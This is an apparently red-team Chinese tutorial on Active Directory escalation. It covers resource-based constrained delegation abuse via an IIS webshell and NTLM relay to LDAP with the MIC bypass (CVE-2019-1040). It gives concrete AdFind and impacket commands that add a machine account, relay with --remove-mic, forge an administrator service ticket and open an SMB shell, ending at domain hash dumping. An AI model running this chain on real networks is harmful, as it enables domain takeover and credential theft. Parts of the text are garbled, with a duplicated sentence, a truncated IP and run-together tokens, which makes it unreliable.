烂番茄
基于资源的约束委派通过修改自身msDS-AllowedToActOnBehalfOfOtherIdentity字段达到委派的目的，默认把这台域机器拉入域的域 用户有这个权限，还有谁有？因为evil这台机器通过 07 用户拉入域内，通过AdFind遍历evil的ACL，通过write筛选对其具有写权限的用户。
AdFind -b "CN=evil,CN=Computers,DC=redteam,DC=lab" -s base nTSecurityDescriptor -sddl++ -resolvesids | findstr "write”
可以看到不只是 07 这个用户，SYSTEM权限的用户也对这个对象具有写的权限。
攻击面：通过iis等以服务权限起的域用户拿到当前域机器最高权限。
(https://docs.microsoft.com/en-us/iis/manage/configuring-security/application-pool-identities)官方文档中明确表示iis等服务用户以机 器账号(SYSTEM)请求网络资源。官方文档中明确表示iis等服务用户以机器账号(SYSTEM)请求网络资源。)
这样会导致一个非常严重的问题：不止于iis，所有低权限服务(例如network service这类型的本机服务)都是以机器账户身份去请求的 域内资源。利用这一特性可以直接使其连接到域控的ldap设置基于当前机器的基于资源的约束委派，造成当前域机器沦陷。
演示
前面已知：
1. 域内用户默认可以创建十台域机器。
-
低权限服务(例如network service这类型的本机服务)都是以机器账户身份请求域内资源。
机器账号对其本身有WriteProperty权限。当前环境：
在域内域机器web2008上存在iis服务，攻击者拿到webshell后发现当前权限为iis，但是此用户依然是域用户，可以创建机器账 号；
iis以机器账户请求域内资源，对其机器本身有WriteProperty权限，可以设置自身的msDS-AllowedToActOnBehalfOfOtherIdentity 字段来设置基于资源的约束委派。所以可以利用web2008创建域机器（此处为evilpc），并通过writelproperty设置evilpc到其的基于资源的约束委派。
通过查看LDAP确定是否设置成功
python3 getST.py -dc-ip 192.168.129.130 redteam/evilpc\$:123456 -spn cifs/web2008.redteam.lab -impersonate administrator
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -k redteam/administrator@web2008.redteam.lab2019-1040
通过MITM，将目标SMB身份验证relay到DC的ldap。由于无法将SMB直接通过LDAP进行中继，所以需要绕过NTLM MIC验证（消息完整性检查），使得攻击者可能在仅有一个普通域账 号的情况下拿到域内最高权限。
1.创建域机器
python3 addcomputer.py -method SAMR -dc-ip 192.168.130.130 -computer-name QQQ -computer-pass 1qaz@WSX "redteam.lab/carn2:Qq123456.."
2.ntlmrelayx.py监听
python3 ntlmrelayx.py -t ldap://192.168.130.131 -domain redteam.lab -smb2support --remove-mic --delegate-access --escalate-user QQQ$
3.强制触发反连prc
Ntlmrelayx.py绕过NTLM MIC，通过SMB relay 到LADP，因为域控并不在Exchange Windows Permissions这个组里面，所以也写不 了ACL，不能给指定用户添加Dcsync的权限；但是它能创建新的计算机账户，并且设置该机器账户对辅助域控自身的约束委派。
基于资源的约束委派生成administrator对dc1的ST票据
python3 getST.py -spn host/dc1.redteam.lab 'redteam.lab/QQQ$:1qaz@WSX' -impersonate administrator -dc-ip 192.168.130.
导出域哈希
